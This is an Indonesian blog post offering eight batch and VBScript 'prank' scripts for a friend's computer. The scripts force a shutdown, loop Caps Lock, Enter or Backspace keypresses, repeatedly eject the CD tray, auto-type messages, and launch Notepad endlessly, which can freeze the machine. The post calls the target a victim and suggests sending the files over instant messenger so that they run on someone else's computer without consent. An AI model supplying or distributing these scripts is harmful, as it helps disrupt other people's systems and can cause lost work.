Menjaili Komputer Teman

Kali ini saya akan sharing beberapa cara menjaili komputer teman hehehe
tapi jagan disalah gunakan yaaah :)

langsung ajah

1. Forced Shutdown

@echo off
msg * I don't like you
shutdown -c "Error! BYE BYE" -s

simpan dengan ekstensi .VBS type nya ALL FILE
efeknya komputer yg terkena langsung mengalami forced shutdown

2. Caps Lock

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

efeknya caps lock pada keyboard akan terus menyala. meskipun dimatikan ya nyala lagi haha :))

3. CD Drive

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

efelnya adalah komputer korban akan pop out cd drive nya alias keluar masuk gitu hehe meskipun dikeluarkan ya masuk lagi haha

4. Enter

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

efeknya adalah keyboard korban akan menekan tombol enter terus menerus

5. Pesan Note Pad

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara slow motion

tulisan "Hello, how are you? I am good thanks" bisa diubah sesuai keinginan kita!

6. Back Space

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

efeknya dalah keyboard korban akan menekan tombol back space secara terus menerus

7. PESAN

nah script ini yang paling saya suka

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Aku Akui ANDY PRAKOSO itu ganteng BANGET hahaha!!"
loop

efeknya adalah komputer korban akan mengetik "Aku Akui ANDY PRAKOSO itu ganteng BANGET hahaha!!" dalam format apapun :)
tulisan "Aku Akui ANDY PRAKOSO itu ganteng BANGET hahaha!!" bisa diganti sesuai keiinginan kita

8. NOTEPAD

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

efeknya adalah komputer korban akan menghidupkan perintah notepad secara terus menerus!

NOTE: CARA diatas semuanya ditulis dalam NOTEPAD dan disimpan dalam ekstensi .VBS dengan type file ALL FILE.
 PENGIRIMAN: terserah kamu ajah yg penting nyampe lah. saya sarankan sih lewat yahoo messenger atau IM lain yg nge support transfer file